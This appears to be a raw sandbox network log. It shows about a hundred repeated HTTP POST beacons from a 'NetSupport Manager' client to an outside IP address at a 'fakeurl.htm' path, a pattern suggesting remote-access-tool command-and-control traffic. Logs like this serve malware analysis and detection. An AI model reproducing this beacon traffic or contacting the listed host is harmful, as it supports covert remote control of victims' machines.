Dec 6, 2023 14:35:00.852133989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.953166962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.053980112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.153928995 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.254070997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.353986979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.458447933 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.559094906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.659969091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.763452053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.863884926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:01.964164019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:02.065082073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:02.165946960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:02.567975998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:02.993076086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.293968916 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.393834114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.493881941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.594845057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.695854902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.796904087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.897911072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:03.998851061 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.100048065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.199861050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.300836086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.401027918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.501892090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.601912022 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.703504086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.802870989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:04.903909922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.007548094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.107017040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.207983971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.308887005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.409837008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.509850979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.610910892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.711028099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.811994076 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.912966967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.012959003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.113883972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.213916063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.315037012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.414870024 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.515897989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.617048979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.717870951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.817882061 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.919169903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.019881964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.119874954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.222240925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.322925091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.422852039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.523899078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.624877930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.724867105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.824862003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.970273972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:08.989841938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.090861082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.190922976 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.290858030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.391879082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.522411108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.622051001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.722883940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.823892117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.923866987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.024934053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.125921011 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.226165056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.326864004 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.427006006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.532601118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.632942915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.733995914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.834064007 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.934892893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.034991980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.134949923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.235896111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.336838007 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.536868095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.742760897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.843046904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.943866968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.044961929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.145958900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
